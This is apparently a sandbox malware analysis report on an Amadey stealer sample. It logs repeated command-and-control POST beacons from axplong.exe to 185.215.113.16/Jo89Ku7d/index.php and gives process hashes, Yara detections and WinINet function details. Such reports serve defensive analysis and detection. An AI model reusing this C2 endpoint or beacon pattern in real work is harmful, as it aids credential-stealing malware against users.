Jul 26, 2024 13:44:52.675721884 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	53688	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:52.797126055 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:53.648627043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:53.649533033 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:53.899780035 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	53689	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:54.031814098 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:54.834448099 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:54.835484982 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:55.089221001 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	53690	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:55.202594042 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:55.991609097 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:55.992436886 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:56.243362904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	53691	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:56.359525919 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:57.111125946 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:57.127521038 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:57.378264904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	53692	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:57.498933077 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:58.280455112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:44:58.283097982 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 43 41 45 34 33 43 46 46 45 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDFCAE43CFFEFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 26, 2024 13:44:58.617841959 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	53693	185.215.113.16	80	7856	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:44:59.146281958 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:44:59.912614107 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:44:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Target ID:	0
Start time:	07:42:53
Start date:	26/07/2024
Path:	C:\Users\user\Desktop\EXyAlLKIck.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\EXyAlLKIck.exe"
Imagebase:	0x750000
File size:	1'878'528 bytes
MD5 hash:	FDDCF49860999A5147F34179C07C4BC6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.2014529476.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.2054954455.0000000000751000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:42:56
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x6a0000
File size:	1'878'528 bytes
MD5 hash:	FDDCF49860999A5147F34179C07C4BC6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.2085097235.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.2044771326.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:42:56
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Imagebase:	0x6a0000
File size:	1'878'528 bytes
MD5 hash:	FDDCF49860999A5147F34179C07C4BC6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000003.2045418136.0000000004A30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000003.00000002.2085839344.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	07:44:00
Start date:	26/07/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0x6a0000
File size:	1'878'528 bytes
MD5 hash:	FDDCF49860999A5147F34179C07C4BC6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000003.2671343641.00000000050D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Function 05130B6A Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2057173700.0000000005130000.00000040.00001000.00020000.00000000.sdmp, Offset: 05130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5130000_EXyAlLKIck.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1447036e8726f2368d8309e43aa8cfce52b611ab531540d46a97acfcce73d57f
Instruction ID: c4df0756f8cb9c40ed4475e5168963343b11bfaa832f74ea54092acd10ae48eb
Opcode Fuzzy Hash: 1447036e8726f2368d8309e43aa8cfce52b611ab531540d46a97acfcce73d57f
Instruction Fuzzy Hash: 0311C07510C214AFD31B8A604AAD5F53FD6BECB3307324DF5F403C791AD391451AA122

Function 05130BC8 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2057173700.0000000005130000.00000040.00001000.00020000.00000000.sdmp, Offset: 05130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5130000_EXyAlLKIck.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4d8b8a10f5bb3133eb4a7a229cffddfcf2fa75ee8a29e650a4af12a24511077
Instruction ID: d3858bd23271321e0a0c7a3bb5dbee3a2e6ada6ffa78c0ec38741f7c3e3327c2
Opcode Fuzzy Hash: d4d8b8a10f5bb3133eb4a7a229cffddfcf2fa75ee8a29e650a4af12a24511077
Instruction Fuzzy Hash: 9F01C95160C351AFD72B867086AE1B03FC36F0B130B328DE0E443DB223E765850B5243

Function 05130BB6 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2057173700.0000000005130000.00000040.00001000.00020000.00000000.sdmp, Offset: 05130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5130000_EXyAlLKIck.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 738d3de220b6db4348af5fdd653e0dc5afaab605c945cbceedaff7c449c268d6
Instruction ID: 12d8056c6ce1e08245c402a001402ee865b90020e4b88abc45a002baee6acfff
Opcode Fuzzy Hash: 738d3de220b6db4348af5fdd653e0dc5afaab605c945cbceedaff7c449c268d6
Instruction Fuzzy Hash: 15019C6520C315BFD36B85A046AE5713FD3AE4F1307318DF5E803D6612E761490A51A2

Function 05130C75 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2057173700.0000000005130000.00000040.00001000.00020000.00000000.sdmp, Offset: 05130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5130000_EXyAlLKIck.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dba67dc1065a64fe099850d6f9ba871bbde553abf9510beba99c74fa8a360a0
Instruction ID: 544c654b518c2793d120244135a8dc7bd5690bc2314091366ec3ac5c74126400
Opcode Fuzzy Hash: 1dba67dc1065a64fe099850d6f9ba871bbde553abf9510beba99c74fa8a360a0
Instruction Fuzzy Hash: 6901685110E291DECB1B92B585FD1E13FE23E0F1203354DEAC093CA573E751914BD686

Function 05130BE0 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2057173700.0000000005130000.00000040.00001000.00020000.00000000.sdmp, Offset: 05130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5130000_EXyAlLKIck.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e7899a05f4543ff7775bc33360244f259040aca3bc2d8aabeedc99ce921c757
Instruction ID: fc326811f8a4804a27f0de72dc30cb84d9d533d944a9cbd115c71b0f56005626
Opcode Fuzzy Hash: 7e7899a05f4543ff7775bc33360244f259040aca3bc2d8aabeedc99ce921c757
Instruction Fuzzy Hash: ED019760108305AFC32B86B0CAAE1A57FD37F0F160B318EE0A953D72A3E7A085469582

Function 05130C5D Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2057173700.0000000005130000.00000040.00001000.00020000.00000000.sdmp, Offset: 05130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5130000_EXyAlLKIck.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df13dc7ba490f3893a1af6736794b18d835e037be1ee0e1f89e59d94244ca0c3
Instruction ID: ee5c504ee6593542d80da9fd440132f657fe042a6fe051daf3f2a4a989f6403a
Opcode Fuzzy Hash: df13dc7ba490f3893a1af6736794b18d835e037be1ee0e1f89e59d94244ca0c3
Instruction Fuzzy Hash: 2AF0D814108205AFC76B82B482FE2B13FD33F0F131B314EE0A41392522FBA1864A6582

Function 05130C0B Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2057173700.0000000005130000.00000040.00001000.00020000.00000000.sdmp, Offset: 05130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5130000_EXyAlLKIck.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02ddda144400a80e136390596b3140af7fa6999377a8400df34336cd7263cee7
Instruction ID: 6461932e75d6edf53ee1f7a4b9359221d220131dba6fee65e1f6c4f181b52a92
Opcode Fuzzy Hash: 02ddda144400a80e136390596b3140af7fa6999377a8400df34336cd7263cee7
Instruction Fuzzy Hash: A4017B61508341AFC75786B085ED0A13FF27F0B120B3549E4D8D397122E76095169A52

Function 05130C31 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2057173700.0000000005130000.00000040.00001000.00020000.00000000.sdmp, Offset: 05130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5130000_EXyAlLKIck.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b862a9285f03f362425e41b53334235b664bc1a603b5bbde3c0b1eef1c828ae
Instruction ID: 9fe6e1a9a7f36c9fdd5f6ad13377e5fdf634312472dc935effaea2e3830a4f90
Opcode Fuzzy Hash: 1b862a9285f03f362425e41b53334235b664bc1a603b5bbde3c0b1eef1c828ae
Instruction Fuzzy Hash: 05F08B51908302AEC76695B0C9ED1A53FD27E4F031B354FE5E5B38A1A2F75281076282

Function 05130C4A Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2057173700.0000000005130000.00000040.00001000.00020000.00000000.sdmp, Offset: 05130000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5130000_EXyAlLKIck.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43dec04e273fa09005cbacab6963184bc5b414c7447806fffb1963323ee8bad4
Instruction ID: 0edf73ea7fcb48f8a16c0eaf2d89b14b7578c69825f729a8fe33ecfb9acded60
Opcode Fuzzy Hash: 43dec04e273fa09005cbacab6963184bc5b414c7447806fffb1963323ee8bad4
Instruction Fuzzy Hash: B6F09750608302AFC35695B0C9EC1A63EE2BE8B031B318EF4A893C6162F7508107A692

Analysis Process: axplong.exePID: 7856, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	7.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	7.3%
Total number of Nodes:	606
Total number of Limit Nodes:	41

Executed Functions

Function 006ABD60 Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(006F8D70,00000000,00000000,00000000,00000000), ref: 006ABDED
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 006ABE11
HttpOpenRequestA.WININET(?,00000000), ref: 006ABE5B
HttpSendRequestA.WININET(?,00000000), ref: 006ABF1B
InternetReadFile.WININET(?,?,000003FF,?), ref: 006ABFCD
InternetCloseHandle.WININET(?), ref: 006AC0A7
InternetCloseHandle.WININET(?), ref: 006AC0AF
InternetCloseHandle.WININET(?), ref: 006AC0B7

Strings

d4p, xrefs: 006AE2FF
RHYTYv==, xrefs: 006ABE33
8KG0fCKZFzY=, xrefs: 006AC385
stoi argument out of range, xrefs: 006AE3FA
8KG0fymoFx==, xrefs: 006AC2EB, 006AC543
RpKt, xrefs: 006AD516
invalid stoi argument, xrefs: 006AE404

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
String ID: 8KG0fCKZFzY=$8KG0fymoFx==$RHYTYv==$RpKt$d4p$invalid stoi argument$stoi argument out of range
API String ID: 688256393-4154584363
Opcode ID: 36f7fce50c457029579808f5818b73826cfb54f0601079d47db6fe9429690271
Instruction ID: d7f05264d76ada47f6b8a6a4828dc58e79c2e1532d40b275903005672b89c27f
Opcode Fuzzy Hash: 36f7fce50c457029579808f5818b73826cfb54f0601079d47db6fe9429690271
Instruction Fuzzy Hash: 58B1E5B16001189BEB24DF28CC84BEDBB6AEF46314F5041ADF50897282D7759EC0CF98

Function 006A65B0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 006A6650

Strings

GVQsgL==, xrefs: 006A66F8
RBPleCSm, xrefs: 006A666C
IVKsgL==, xrefs: 006A67A1

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GVQsgL==$IVKsgL==$RBPleCSm
API String ID: 1484870144-3856690409
Opcode ID: 21d664e3fb48b7480db445c5c097e27d48d1aef4c18351ee5e25ee89af8c1ee5
Instruction ID: d53627b5817c07ffeea761897cc8be401c70038110a3b7b1dd963fcc4d4c0271
Opcode Fuzzy Hash: 21d664e3fb48b7480db445c5c097e27d48d1aef4c18351ee5e25ee89af8c1ee5
Instruction Fuzzy Hash: 7991A5B19001189BDB28EB24CC85BEDB77AEB45304F4445EDF51997282DA349FC4CFA9

Function 006B46C0 Relevance: 37.0, APIs: 1, Strings: 22, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 006B7870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 006B795C
Part of subcall function 006B7870: __Cnd_destroy_in_situ.LIBCPMT ref: 006B7968
